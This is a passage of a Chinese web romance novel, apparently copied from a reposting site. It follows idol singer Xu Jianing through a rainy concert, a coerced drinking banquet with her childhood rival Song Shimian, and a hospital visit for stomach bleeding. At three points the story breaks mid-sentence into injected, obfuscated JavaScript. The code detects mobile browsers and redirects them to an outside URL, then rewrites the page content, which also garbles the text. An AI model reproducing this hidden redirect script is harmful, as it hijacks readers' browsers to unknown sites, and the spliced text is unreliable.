《渐近自由》 1. 渐近 《渐进自由》 晋江文学城首发 文/柿绥2025/4/22 * 八月,港城奥体中心。 空气闷热,阴雨连绵。 巨大的环形场馆挑空设计,四面的观众席上人山人海。邻座的人胳膊挨着胳膊,黏腻的汗水和雨水剐蹭着彼此,热情如浪潮般欢腾。 音乐声直冲场馆上空,震得人耳膜鼓动,心跳随着鼓点在胸腔鸣亮。 站在中央舞台上的女人一头银色长发,妆容精致,身上的牛仔背心与短裤被雨水打湿,洇晕出点点深色。她身形窈窕,跟着音乐变换舞步。尽管已经连唱带跳三个小时,但看上去依旧精力充沛的样子。 音乐结束,最后落在大荧幕上的,是许伽宁的面部特写。 ———生动明艳的五官,一双狐狸眼微微上扬,眼神犀利,紧盯镜头,衬得眼尾上方的痣愈发勾人。下雨的缘故,银色长发被打湿成绺状,右边的头发掖在耳后,露出被热气蒸得粉红耳朵。 台上的伴舞下场,许伽宁扯下耳麦走到舞台角落,弯腰拿起矿泉水仰头灌了几大口。她四肢纤细,随着动作胳膊的肌肉绷紧,露出流畅紧致的线条。 “Encore!Encore!Encore!”台下的观众呼涌,零散的声音逐渐统一。 许伽宁笑得灿烂,扭头示意工作人员拿吉他和立麦。 她坐在透明高脚凳上调整立麦的高度,又低头给吉他调音,手指随意地扫了扫弦,顿时所有目光都聚焦过来,铺满大灯的体育馆也瞬间暗下来,只留下许伽宁头顶的那盏聚光灯。 她声音清凉,似三月江南将落的烟雨,朦胧如纱,“下面这首《她来听我的演唱会》,献给不远万里来听我演唱会的所有人。” 她握着吉他,指尖在弦上跳跃,自然流畅的音符流出,配合着伴奏娓娓而来,这与许伽宁以往热烈酷飒的舞台都不一样。 许伽宁闭着双眼,睫毛在眼睑上投下细密的阴影。她启唇轻唱,声音低低的,干净纯粹,像羽毛般轻轻掠过每个人的耳畔,没有华丽的技巧,却让躁动的观众席安静下来。 “她来听我的演唱会 在十七岁的初恋,第一次约会 男孩为了她彻夜排队 半年的积蓄,买了门票一对” 前排观众手里的荧光棒开始轻轻晃动,像是被风吹拂的麦浪,从舞台前方层层荡开。银色的光点在黑暗中温柔摇曳,映照着粉丝们微微湿润的眼眶。 “我唱得她心醉, 我唱得她心碎 ……” 许伽宁脸上的妆还是上一场舞蹈时的妆,与这首歌完全不相符,但却不让人觉得违和。她低醇却又清透的音色徘徊在人们耳畔,像是港岛那夜没有降临的星幕,笼罩着在场的听众。她笑着看着每一个人,目光柔软,所到之处皆是流光。 “砰——” 一瞬间,各色彩带从四周的机器喷洒出,鼓风机将彩带吹得洋洋洒洒。时间像是被按下减速键,雨水被彩带代替,整个世界都虚焦了。 不少人仰着头伸手去抓彩带,漫天飞舞的彩带,慢慢在自己面前旋转着落下,直到降落到掌心里。 或许抓住的不是彩带,而是独属于这一瞬间的幸福 雨越下越大,但气氛却被推向了高.潮,许伽宁放下吉他,走到舞台边缘,索性席地而坐。她举着手跟着大家一起晃动,仰头,任由雨水浇个透。 直到最后一个音符消散,全场突然陷入短暂的真空。紧接着,十万支荧光棒同时高举,此起彼伏的“许伽宁”呐喊声响彻夜空,掌声从四面八方而来,经久不息。 头顶的大荧幕上,许伽宁眼神清亮澄澈,眼角也起了泪花。 在这个风雨摇曳、闷热潮湿的八月港夜,台下的每一位都怀揣着爱,不辞万里地来听许伽宁的演唱会。 * “五点的飞机,姐,你赶紧补会儿觉。” 凌晨两点,开往港岛机场的商务车上,小助理飘飘说道。 窝在座椅里的许伽宁困得眼皮都掀不开,她含糊地应了声,脖子歪向车窗,没了动静。 车里空调打得低,飘飘从后座拿起毛毯给人盖上,心想这明星真的不是谁都能当的。 许伽宁卸了妆,换下精致的演出服,此刻脸上素净白嫩,眼下的乌青看得一清二楚。工作原因,身上本就没多少脂肪,陷在宽大的座椅里叫人不免心生怜惜。 许伽宁行程排得很满,港岛的个人演唱会刚结束,就要立马赶回首都拍杂志,接受采访。 她的一年三百六十五天,几乎是全年无休。 许伽宁出道得早,十七岁就被韩国最大的娱乐公司RT看上,签约练习生。她从小学舞,功底扎实,不到两年的时间就在同期练习生中脱颖而出,十九岁以第一名的成绩正式出道,成为A.H的队长。 她长得好看,能力出众,出道后一直是团内的人气最高,海内外收获粉丝无数。再加上RT这种老牌娱乐公司的包装经营加持,“许伽宁”这个名字在韩国几乎是无人不知,A.H更是一度成为人气流量“现象级”的女团。 后来国内外纷纷开始效仿,这些年不断推出各种男团女团,可成绩依旧比不上当年的A.H,不过这时候的许伽宁和RT的合约已经到期,继而选择回国发展,也就是三年前,她签了华悦。 但回国的这三年,许伽宁的人气不比在韩期间。 华悦主要是在影视领域,经纪人替她接了很多戏,希望她能转型演员。但她的演技着实难看,不说不起水花,还几乎被全网吐槽。她进娱乐圈的初心是想一直跳舞,但每每她坚持的时候,她的经纪人就会把她塞进剧组“深耕”。 到现在许伽宁出演的电视剧片段下来还有源源不断的黑子和路人留言:“好好当你的爱豆,挤不进去的赛道别硬挤。” 许伽宁对此也只能苦笑,我也想唱跳rap啊。 深夜的机场仍旧人满为患。 许伽宁这一觉睡得极其不舒服,她是有起床气的人。本来她的眼睛略微下三白,不做表情的时候看上去像是不高兴,困意袭来的时候这种感觉更甚。 她前几年吃过这种亏,也是像现在这样赶夜间航班,被路人发到网上后网友就开始喷她,说她耍大牌,不尊重人,没家教,对着千里迢迢来的粉丝甩脸色。 许伽宁戴着墨镜坐在候机室里刷手机,她对于睡觉这件事选择性执着,休息的时候能睡上一整天,但一到工作基本上睡几个小时就够了,这一路上她醒醒睡睡,这会儿已经基本上清醒不少。 因为一下飞机就要赶去拍摄,小助理被派去买咖啡,这会儿已经回来给许伽宁递了杯冰美式,“姐,消消肿。” 许伽宁接过,抿了一小口。酸涩清苦的焦香侵占味蕾直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669683|173098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶天灵盖,冰意让滞怠的大脑清醒不少。 但没过多久,她感受到胃部一阵抽动,然后是细微的绞痛。许伽宁忍不住伸手捂胃,眉头轻皱。好在这股痛很快就过去,仿佛刚刚只是错觉。 许伽宁低不可闻地松了口气。 “姐,你上热搜了。”飘飘声音略微提高。 许伽宁啊了一声,点开微博热搜,“许伽宁港岛演唱会”的词条挂在榜首,后面还跟了个“爆”。 不得不说,站姐效率是真的高,点进去就是许伽宁的舞台神图。 照片里,雨幕如银丝垂落,将舞台笼罩在一片朦胧的光晕之中。许伽宁坐在舞台边缘,双腿悬空,仰着头,身后舞台上的积水闪着光。她的银发被打湿几缕黏在脸侧,却丝毫不显狼狈,反倒有几分破碎美。 聚光灯从正上方打下,拢在她身上,光束中雨线纷飞,落在她肩上彩带折射出光芒。 再往下翻,还有关于许伽宁的其他热搜,尤其是“许伽宁演唱会体验感差”的词条尤为打眼。许伽宁没忍住,手欠点了进去。 【现在抢演唱会门票比中彩票都难,一开售就秒空,黄牛价直接翻倍,不知道的还以为花这钱是能坐在许伽宁腿上听呢。】 【纯纯花钱买罪受,现场体验就是军训加罚坐,水也不让带。】 【姐姐刚出场,前面的人都在叫,本来位置就靠后,根本看不见也听不见。】 【楼上的,花多少钱就有多少钱的体验,嫌体验感差就多花钱啊。】 【去现场的朋友没人觉得,许伽宁和网上长得不一样吗,他们家站姐是不是用力过猛了。】 【姐妹好大胆,记得关私信啊。】 【黑心公司能不能重视一下我们伽宁,就只把我们姐姐当摇钱树,黑稿完全不管@华悦娱乐】 ...... 许伽宁皱眉,盯着屏幕很久没有动静,飘飘瞥见她的手机屏幕,“姐,别看了,你再睡会儿吧。” 人红是非多,有人喜欢自然会有人讨厌,许伽宁的黑粉是出了名的恐怖,关键许伽宁还是个特别在意负面评论的人。 哪怕知道这些人都是在搬弄是非,但看见了心里还是不舒服。 许伽宁把手机丢给飘飘,又朝她伸手,“你手机给我玩玩游戏。”她的黑料简直是满天飞的程度,出道的这些年基本上什么都被造谣了。 飘飘刚要递手机,手机响铃。 是经纪人吴曼的电话。 飘飘看了眼许伽宁,许伽宁眼神示意她接。 “喂,曼姐。”飘飘按了免提。 “许伽宁在你旁边吗?”电话那头的女人语速很快,能听出很明显的不耐烦。 “我在。”许伽宁开口道。 女人顿了一下,又说道,“热搜我也看了,你也不用管,网友爱说什么就说什么,最近刚播的那部剧热度不错,明天晚上有个推不掉的庆功宴,有大客户,推不掉,你必须到场。” “谈不成,咱们都没好果子吃。” 吴曼说是许伽宁的经纪人,但两人关系一般甚至是很差,吴曼对于许伽宁的工作极不上心。飘飘刚来许伽宁身边一年,不知道她们之间有什么渊源,但饶是她这样的慢半拍都能明显感觉到,吴大经纪人不喜欢许伽宁。 “好。” 一个小时后,飞往首都的飞机安全起飞,在淡蓝的天际留下一道尾迹云。 2. 渐近 预留给休息的时间不多,一下飞机许伽宁马不停蹄地就往杂志拍摄地点赶。 拍摄过程还算融洽,许伽宁是第一次和这家工作室合作,沟通上就花了不少时间,好在成片效果很不错。 拍摄结束后就是杂志的采访环节,许伽宁被带到采访机位前,大灯打得比拍摄时还要足,许伽宁眼睛有些酸痛,有些后悔刚刚没跟飘飘拿眼药水,盯着地毯发呆,纠结现在要不要开口。 刚想开口,坐在许伽宁对面的主持人问道,“许老师,这边可以了吗?” 许伽宁抬头,看着准备工作都做好的全场,笑道,“可以,开始吧。” 场记打板。 采访大纲提前发给许伽宁了,流程她都清楚。第一部分是快问快答环节,用来活跃气氛,主持人拿着手板对许伽宁提问。 “如果变成小动物,希望是什么?” “小狗或者小猫。” “最近单曲循环的一首歌。” “《她来听我的演唱会》。” “最讨厌的食物。” “没有特别讨厌的。” “咖啡还是奶茶?” “咖啡。” “最近一次失眠是因为什么?” “咖啡喝多了。” 主持人忍不住笑出来,照着手卡cue下一环节,“我们搜集了很多网友一直想问伽宁的问题,一起来看看吧。” “第一个,如果遇到粉丝在路上遇到你,但叫错你名字,你会怎么办?” 许伽宁想了想,“问他微博id,然后发微博艾特他。” “那这样以后应该很难忘记你了。”主持人打趣道。 接下来的问题也都在大纲里,许伽宁应付起来游刃有余,直到最后一个问题。 “这位网友问,网上都说许伽宁演技很差,为什么这些年还要一直在自己不擅长的领域尝试,安心做唱跳偶像不好吗?”主持人的声音明显和之前不同了,莫名透着股心虚。 许伽宁很确定,这个问题绝对没有在大纲里出现过。她盯着主持人,黑暗里,主持人面露怯色,眼神飘移。 像这样犀利的问题,很少能这么直接地放在台面上说,更何况是如此正式的杂志专访。 她快速看了眼同样站在黑暗里的飘飘,飘飘也是一脸懵,皱眉摇头。 许伽宁见状,便知道这个问题无可避免,她很快调整好状态,轻笑,“首先谢谢大家对我舞台表现的认可,跳舞是我热爱的起点。对于表演,我确实还有很多不足,也正是因为不擅长,才更想用努力的去填补差距。” “演员这个身份对我来说不是转型,而是一段学习和成长的过程。就像是我小时候刚学跳舞会同手同脚一样,新领域都是需要笨拙的起步期,可能进步速度没达到大家的期待,但总归是要迈出这第一步。” “当然,大家的反馈我都会认真对待,希望下次大家再在荧幕上见到我,能给大家带来全新的观感。” 许伽宁知道,这肯定是杂志社故意为之,吴曼应该也知道,不然他们根本不敢,目的就是为了博流量,记录下她窘迫的瞬间。 她只觉得心累,采访结束后便匆匆离开现场,让司机直接开回家。 这几天连轴转,餐桌上还堆着前几天的外卖盒,许伽宁看都没看一眼,径直走向卧室,卸了妆倒头就睡。 * 下午四点半,闹钟响起,许伽宁睁眼,满眼怨气地坐起来,盯着被套上的碎花图案放空。 她需要花点时间,变成一个人...... 许伽宁,要不别去这个什么狗屁庆功宴了吧,上次被灌成什么样你忘了吗? 她这样劝自己。 这种饭局,说是庆功宴,其实就是应酬局。 自家公司的庆功宴,来一帮什么张总王总,过去就是陪酒的。 外加上国内的酒桌文化,躲酒肯定是躲不掉的。 许伽宁很排斥这种饭局,总是以各种理由推辞,但昨天吴曼也明确说了,她必须到场。 明明这部戏她只是客串了一个小角色,还非要她到场,根本就是让她去陪酒的。 华悦主攻影视产业,当初签华悦也算是许伽宁头脑发热,过于自信。 刚回国那会儿是许伽宁名气最大的时候,或许是被人气冲昏了脑子,她想试试能不能进军影视业,毕竟那段时间,很多爱豆都转战影视界。 她也想试试。 事实证明,不是所有爱豆都能演戏的。 至少她许伽宁不行。 她不是科班出身,更没有花多少时间钻研过演戏,公司当初把资源都砸在她身上,许伽宁的荧幕首秀就是一场和老戏骨对戏,可谓是完完全全被碾压。 直接开创内娱首位“瞪眼式演技”。 后来,她也没停止尝试,成绩也显而易见,网友们都劝她换赛道,只有她的铁粉会给她的戏买单。到最后她自己都认了,主动跟吴曼提出,以后不要再给她接戏了,她想专心跳舞做舞台。 吴曼当然是最拒绝的。 “现在流量明星基本上都是靠演技出头,你难不成真打算跳一辈子舞?” 许伽宁试图反抗过,但看着日渐下滑的人气,公司对她的逐步忽视,许伽宁只能继续硬挤赛道。 唯一庆幸的是,她还能继续跳舞。 好累。 想摆烂。 信息声从后头响起,许伽宁没转头,伸手胡乱去摸,摸了半天都没摸着,一下子气清醒了,猛地扭头拿手机。 是妈妈发的信息。 【图片】 看照片是在家里的小饭馆里拍的,瓶瓶罐罐,玻璃罐里装的都是剁辣椒。 紧接着是一段语音。 “崽陀,你爸这两天做了好多剁辣椒,明天给你寄过去咯?” 许伽宁看见图片都快流口水了,她老家是湘江的,口味重吃得辣,尽管离家多年,就是好她爸的这口剁辣椒。 她按下语音键,“要得要得,你别发照片逗我咯。” “你给小冕也带点,你爸做了好多呢。” 许伽宁突然想起她那个便宜发小,翻了个白眼,“他不配吃。” “说撒子,最近我看这电视上都是小冕演的电视,小冕越来越帅了,你方阿姨家的门都要被人踏破咯。” “那你有没有看到我也演了,你怎么不夸我?” 又是一条语音,许妈直接岔开话题。 “你吃饭了不?” “马上就去咯。” 紧接着,就是方女士长达三十秒的嘱咐语音,空荡的房间里满是熟悉的家乡话,许伽宁突然觉得眼眶一热。 在外地听到乡音是件让人鼻头发酸的事情。 也可能是午觉醒来时的空虚感,许伽宁有些想哭。 她吸了吸鼻子,怕妈妈听出异端,改成打字。 【知道了妈妈,我还有工作,先不说了。】 前些年赚了大钱,本来想着一同换套更大的房子,但爸妈死活不肯搬,说住老房子住习惯了,许伽宁也就把主意打在家里那间小饭馆,于是强硬地给饭馆换了家大门面。 搬店那天,爸妈笑得直接合不拢嘴。 想到这,许伽宁掀开被子跳下床,摆什么烂啊,二十五岁正是闯的年纪。 赚钱才是王道! 她钻进浴室冲了个澡,快速撸了个妆,刚好收到司机已经到停车场的消息。 今晚的饭局算是私人行程,飘飘没跟来,车上坐的是吴曼。 “曼姐。” 吴曼在看手机,听见车门打开,也只是扭头看了许伽宁一眼,“来了。” 两人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“吴曼,给介绍介绍。”坐在圆桌正中间的头发花白,一身灰色西装的老头呲着满是牙垢的牙说道。 隔着老远的距离,许伽宁都能闻到他身上的老人味。她抿着嘴,强迫自己表情一定要绷住。 吴曼顺势挽起许伽宁的胳膊,“刘总,这是许伽宁,还请刘总多提携提携。”随即又转头,跟许伽宁说,“伽宁,这就是我经常跟你提起的鼎星的刘总了。” “刘总好。” 今天这顿饭庆的是最近在鼎星旗下的平台“奇星视频”播出的《洛京传》,这是一部古装悬疑片,捉妖题材,由鼎星和华悦联合出品,仅仅一周热度就破万。 这几年影视市场衰退,大爆剧少之又少。《洛京传》是市面上少有的,没有感情线的纯破案电视剧,但却破了平台最快破万的记录,算得上今年目前最爆的一部剧。 许伽宁在里面演了其中一个副本里的凶手,青楼伶人。毕竟是大制作,制作班底强硬,妆造精美,实景拍摄,饶是被硬塞进来的许伽宁在里面的表现都可圈可点,虽谈不上出圈,但骂声少了不少。 这部剧的男主为剧火助力不少,正是悬疑片御用男主,宋时冕。 宋时冕在圈内人称“宋sir”,网友戏称,只要他一出现,感觉就有命案发生。出道以来他演了不少悬疑片,古代民国现代都演过,还都是一身正气的警探和侦探。 原因无他,他那张脸太权威了。剑眉星目,不怒自威,往那一站就让人想伸手等手铐。 宋时冕才是今天庆功宴的主角。 许伽宁识相地往演员那一桌走,却被吴曼一把拉到刘总这一桌,只剩下刘总身边的四个空座,一边各两个。 许伽宁垂死挣扎,坐在离老男人右手边最远的一个位子。 吴曼拽着她的胳膊让她挪过去一个,许伽宁纹丝不动,脸都笑僵了,眼睛里满是求助。她能明显感受到隔壁那桌时不时投来的敌意的目光。 两个人僵持片刻,就在刘总快要张口之际,金灿灿的大门再次被推开。 所有人的目光都被吸引过去,门口站着的人一身黑色冲锋衣,面色冷淡,甚至有些跋扈,“抱歉各位,来晚了。“ 3. 渐近 “各位大老板,不好意思啊,路上车出了点问题。”说话的是陈枫,宋时冕的经纪人。 一进包厢,他便跟各个老板导演打招呼,交流起来游刃有余。衬得他身边的宋时冕显得更加冷淡,除了进门时的客套,他一路无言,径直走到刘总左手边的、和他隔了一个人的位置坐下,陈枫坐在刘总边上。 此刻包厢里只有吴曼一个人站着,她立马也坐下,对着许伽宁皮笑肉不笑。 许伽宁故意躲她眼神,抬头看前方,视线不偏不倚地和对面的宋时冕对上。 他们的位置面对面,宋时冕懒洋洋地掀起眼帘看她,稍长的刘海盖住一半眼睛,明明长着双最含情脉脉的桃花眼,不做表情的时候像是在不耐烦。 此刻,他正直勾勾地盯着许伽宁,没有表情。旁人看了,还以为他们之前有什么过节。 许伽宁很久没见过宋时冕了,上次见面还是去年拍《洛京传》的时候,他俩有几场对手戏,正是她演的角色被主角团揭穿的那几场。 她清楚地记得,下戏后宋时冕冷嘲热讽她的演技好久。 许伽宁知道宋时冕懒,但没想到能这么懒。 他穿着简单的冲锋衣,在一众西装之中脱颖而出。室内空调打得低,他衣服拉链拉到下巴下方,只露出一张脸,一身黑的装扮衬得他那张脸白到无瑕,他甚至连发型都没做,一脸素颜地就来。 他的肩上沾了水渍,在黑色冲锋衣上很明显。 外面下雨了吗? 宋时冕朝她挑了下眉,然后又面无表情地低头看手机。 许伽宁刚在走神,还没来得及回敬一个白眼,这人就已经不看她了。 她在心里啐了一声。 怎么还跟小时候一个死样儿。 人到全了,饭局正式开始。 打头阵的没有别人,正是宋时冕的经纪人陈枫,他率先倒上酒,挨个敬老板导演们。 “刘总,这杯我得敬你,没有您这位伯乐,就没有我们家时冕现在的成绩。” 场面话一套一套的,酒也是一杯接着一杯。 一旁的宋时冕斜支着脑袋,倒是一点眼力见没有,杯子里装的是果汁。有人跟他搭话的时候,他顶多就是点头淡笑敷衍一下。 不喝就滚去小孩儿那桌。 许伽宁蛐蛐道。 如今的宋时冕在在场的各位眼里,可是名副其实的摇钱树,众人见他这样子,非但没恼还一个劲儿地巴结他,就希望他能当上自家的男主角。 今晚的话题中心一直都是宋时冕,许伽宁有意躲酒,低头闷声吃菜,只希望所有人都围着宋时冕,千万不要看她。 吴曼像是不甘心,就在许伽宁把筷子往嘴里送之际,一把把人从位置上拉起来。 许伽宁眼见着那块肉无声地掉在骨碟里,然后她就水灵灵地站起来。 “刘总,我们敬您一杯。” 甚至连祝酒词都没有,干喝。 许伽宁欲哭无泪,端起手边的高脚杯。 “咣当——”玻璃与玻璃碰撞,酒红色的液体顺着喉管流下。 许伽宁皱皱眉,刚想坐下,吴曼又领着她转向,“祁导,这次《洛京传》收视爆棚,简直能称得上是今年之最了,来,我们敬您一杯。要是有什么合适的角色,多看看我们伽宁,她什么都能演!” “哪有哪有。”祁导就是《洛京传》的导演。 许伽宁手里的杯子不知道什么时候给倒满了,她只好在一旁赔着笑一口闷。 “许小姐,好酒量!” 这帮老头子像是被按了什么键,都开始花式给许伽宁劝酒。 身边的吴曼全身而退,坐在一旁说着场面话。 到了宋时冕这,许伽宁脸已经红扑扑了,陈枫见状,连忙说道,“时冕酒精过敏,不用了。” 一边的老板们也替宋时冕解围,“哎,小宋不喝就不喝,咱们继续,咱们继续。” 宋时冕手捏着酒杯,食指有一下没一下地轻点杯壁,视线落在许伽宁身上。她今天喝了不少,不知怎地读出几分挑衅的意思。 屁,他酒量好着呢。 死装。 许伽宁拎着酒杯坐下,话题一下子再次转到宋时冕身上。许伽宁松了口气,看了眼时间,才八点,离司机来的时间还有一个小时。 煎熬。 许伽宁喝饱了,吃不下菜。 大概是酒精的作用,她看着桌上众人伪善的笑容,顿时觉得头昏眼花。房间内的奉承声在许伽宁耳边,音量键像是被拉到最大,许伽宁一时之间觉得心慌烦躁。 下一秒,她突然躬着身子,捂着胃部。胃里一阵翻江倒海,呕意涌上喉头。 想到这还在酒桌上,她动作幅度变小。 许伽宁看着满桌子的菜肴,心想自己没乱吃什么东西。她小臂撑在桌沿,想着忍忍就过去了。 没过多久,这股钝痛变成了绞痛,许伽宁感觉胃里有把小刀在剜她的血肉,仿佛肠子已经被划开,往外冒血。 额头不停冒冷汗。 她忍不住,跟吴曼说了声,没等人反应,步子虚浮直往洗手间奔。 出了包厢右拐就是洗手间,许伽宁撑着洗手池边哇地一声吐出来,她没吃多少东西,吐出来的都是水。 混杂着血丝。 许伽宁瞬间晃了神,她打开水龙头冲洗水池,心里却还是怦怦跳个不停。 为什么会出血?为什么胃这么疼? 她撑着大理石台很久,久到灵魂都快出窍。 整个人一动不动,却能明显感觉到浑身发麻,从膝盖到后背,又刺又热。 “还准备站多久?跑这躲酒来了?” 身后冷不丁冒出个声音。 许伽宁抬头,透着镜子,她看见站在她身后的宋时冕。 他脱了外套身上只有件白t,双手环胸漫不经心地背靠着墙,两条长得逆天的腿相当夺目,惹得路过的人都忍不住朝他看。会所暖黄的灯光落在他立体的眉骨上,他垂眼看着她,睫毛的阴影覆住神色,竟衬得有几分柔和。 许伽宁继续低头洗手,见他这幅神采奕奕的样子不免有些生气,明明出道得比他早人气也不算低,为什么今天这场饭局里,他众星捧月滴酒未沾,她却被灌得如此狼狈? 难道就因为她现在跟不上市场,是个不会演戏的艺人? 越想越气。 “你管我。”许伽宁甩干净手转身说话,完全没注意到身后的人已经悄无声息走近。她毫无预兆地扎进宋时冕的胸膛,刚才酝酿了好半会儿的气焰此刻全无。 鼻腔里涌进一股清凉的薄荷味,夹杂着包厢里的烟草味,许伽宁却莫名不觉得难闻。男生的胸膛温热,骨骼硬朗,有种独属于成年男性的可靠。 许伽宁没出息地僵在原地。 不多时,她听见头顶的人轻哂,“碰瓷儿啊。” 他似乎心情不错,尾音上扬打着卷儿,听上去懒洋洋的。嘴上说着人碰瓷,步子却没挪半下。 许伽宁翻了个白眼,不想再跟他拉扯,准备回包厢跟吴曼说一声,早点离开。 胃还在绞痛,她站不稳,身形一歪,眼见着就要摔倒,肩膀顷刻间被人扶住。 许伽宁下意识仰头看向宋时冕。他个子实在是太高了,许伽宁并不矮,仰起头也才只到他的下巴。 宋时冕捏着她的肩膀,许伽宁今天带的是长长的流苏耳坠。冰凉的耳坠划过他的手,耳坠尾端尖锐,在他的手背留下一道红色的痕迹。 他低头盯着那道划痕,又看向许伽宁仰着的脸,女孩双眼通红,不知道是哭的还是其他什么原因,此刻眼尾潮湿一片。 心间没由来一阵发痒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669685|173098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许伽宁稳稳站好后,瞬间像甩脏东西一样把他的手甩开,继续往前走。 他收回手叹了口气,迈着阔步跟上,又保持着两三步的距离在她身后,“又耍什么脾气?” 宋时冕这话落在此刻的许伽宁耳朵里跟挑衅没什么区别,许伽宁突然想起以前他那副总是有理的样子,欠揍又碍眼。 许伽宁妈妈和宋时冕的爸妈都是中学老师,两家人关系很好,买房子都要门对门的那种。 他俩一个幼儿园,一个小学,一个初中,一个高中,宋时冕高她一个年级。 不过,他们才不是什么青梅竹马,而是名副其实的死对头。 初中的某个暑假,有个下午,许伽宁家里大人都出门了,留许伽宁看家,宋时冕来看许伽宁,许伽宁就让宋时冕陪她在家看电影。 前天晚上,宋时冕熬夜打游戏,这天他困得眼睛都睁不开,看一会儿就打起瞌睡。 许伽宁隔一会儿就要叫醒他一下。 许伽宁在沙发上蹦蹦跳跳,试图把旁边这坨弹起来,“宋时冕,你到底是不是来陪我的!” “我妈非要我来,不然这时候我还在家睡觉呢,大小姐。”宋时冕歪在沙发里打瞌睡,无动于衷。 许伽宁家新买了咖啡机。 那会儿咖啡机可是个新奇玩意儿,许伽宁见状,非要给宋时冕显摆显摆,就手法诡异地给宋时冕泡了杯。 宋时冕有个习惯,喝水不喝最后一口,如果手边上什么绿植,这最后一口必定是留给它们的。 再加上宋时冕喝不惯咖啡,大半杯滚烫的咖啡,被他毫不客气地全都喂给了许伽宁家茶几上的那盆小发财树苗。 许伽宁叫道,“你完了,宋时冕!这是我爸刚弄回来的宝贝树,他肯定饶不了你。” 宋时冕也愣住,他能不知道吗。 许伽宁爸爸的微信头像都是这棵树。 “这树应该没那么脆弱吧......” 见万年淡定如狗的宋时冕一脸局促的样子,许伽宁有些幸灾乐祸,“那我就不知道咯,反正我时候肯定是实话实说哦~” 不出个把小时,发财树苗果然不负许伽宁所望,直接被淹死了。 许伽宁:“宋时冕,你好狠的心,它还那儿小。” 宋时冕:“.......” 当天晚上,许爸爸回来,质问许伽宁这是怎么回事,许伽宁绘声绘色地讲述完,宋时冕一脸无辜且淡定地说,“许伽宁干的。” 许伽宁瞪大眼睛张大嘴,满脸惊讶,“爸,他污蔑人!真不是我!” 宋时冕人模狗样地叹了口气,“叔叔,是我,您别骂许伽宁。” 这话一说,这杀树犯是谁许爸爸一眼便知。 “许伽宁!!!” 许伽宁急哭了,“老许!真不是我!”她转向宋时冕,拿手指着他鼻子,“你这人怎么这样!” 宋时冕贴心地抽了张纸递给她,背对着许爸爸,脸上的狡黠藏都藏不住,“你别耍脾气了,好好跟叔叔道个歉。” 长大后各奔东西,以至于许伽宁都快忘了,这人从小就是个演技派。因为成绩好演得好,大人都偏向他,许伽宁不知道因为他挨了多少顿莫名其妙的揍了。 “他们这是让你出来看着我,怕我跑了没人陪他们喝酒?”许伽宁胃疼得厉害,满心都是自己吐血了,这会儿脑子也不清楚,语气却很拽,“宋时冕,你帮我去跟那帮老头子说,我先走了,这酒我不喝了。” 还好刚刚出来带了手机。 没等人回答,许伽宁头也不回地往大门口走了。 这场雨终于在憋了一晚后爆发,雨势很大,看不出要停的迹象。 手里的手机震动,是宋时冕的信息。 【可怜兮兮的。】 【等我五分钟,我送你。】 4. 渐近 五分钟后,宋时冕的车泊在会所门口。 门口却空无一人。 整座城市都湿漉漉的。 雨刮器不停歇,车窗上淌着水波,一轮又一轮。 许伽宁早就想走,刚在席间她就提前给司机发了信息,让他提前来。 算准时间,到大堂门口刚好上车。 “小城,去附近医院。”车里开着冷气,许伽宁后背一阵阵冒冷汗。 “姐,你怎么了?”小城透过后视镜看后排的许伽宁。 许伽宁说不出话,小城见状,只得猛踩油门。 手机响起。 是吴曼。 许伽宁知道她打电话的原因,纠结片刻还是按下接听键。 “许伽宁,你人呢?”吴曼低声吼道,“一个两个的都没了,宋时冕走了就算了,这不正好给你机会表现吗!你人又没了!” 她的声音有些空荡,看样子是在洗手间给她打的电话。 许伽宁一下子没了刚刚面对宋时冕时的那股焰气,因疼痛声线略微颤抖,“曼姐,我身体真的不舒服,所以我就先回去了。” "身体不舒服忍一下怎么了,我不信你能不舒服死,今晚这种饭局可不是天天有,下一次也不知道是什么时候,错过了可就真错过了。"吴曼一副恨铁不成钢的样子。 许伽宁不是跟人刚的性子,顶多是个窝里横,她这会儿实在是没精力辩解,只好道歉,“对不起曼姐,我以后会注意的,今天多谢你替我担着。”许伽宁没了力气,直接挂断电话。 * 小城给许伽宁送到了附近的医院,“姐,需要我陪你进去吗?” “不用,你拿个口罩给我就行,回去吧。” 到医院的时候已经九点,医院是家私立医院,面积不大。 许伽宁没在挂号上耽误太久,直接手机上取了号。 医院里不分昼夜,人们匆忙地为家人奔波,她也不用担心被认出来,找了个人少的角落等着叫号。 候诊厅的灯光是暖黄色的,不刺眼,许伽宁垂着脑袋看手机。 十分钟后,安静的候诊厅广播响起机械女声。 ——“请62号许女士到第三诊室就诊。” 广播循环,听得许伽宁背后都起了鸡皮疙瘩。她睁眼抬头看向头顶的那块电子屏幕,上面也显示了她打码的名字“许*宁”。 进了诊室,坐班医生例行询问了许伽宁的情况,最后得出的结论是,先去拍CT,禁食一夜等明天白天做胃镜。 夜间CT检查的人不多,拍完CT许伽宁不想在奔波,医生也建议她留院观察一晚。 于是她申请了一间单人病房。 护士来给她扎完针后便离开了病房,许伽宁一个人躺在病房里,只留了一盏床头灯。 虽然是私立医院,但这家医院的环境一般,甚至还比不上一些公立医院。 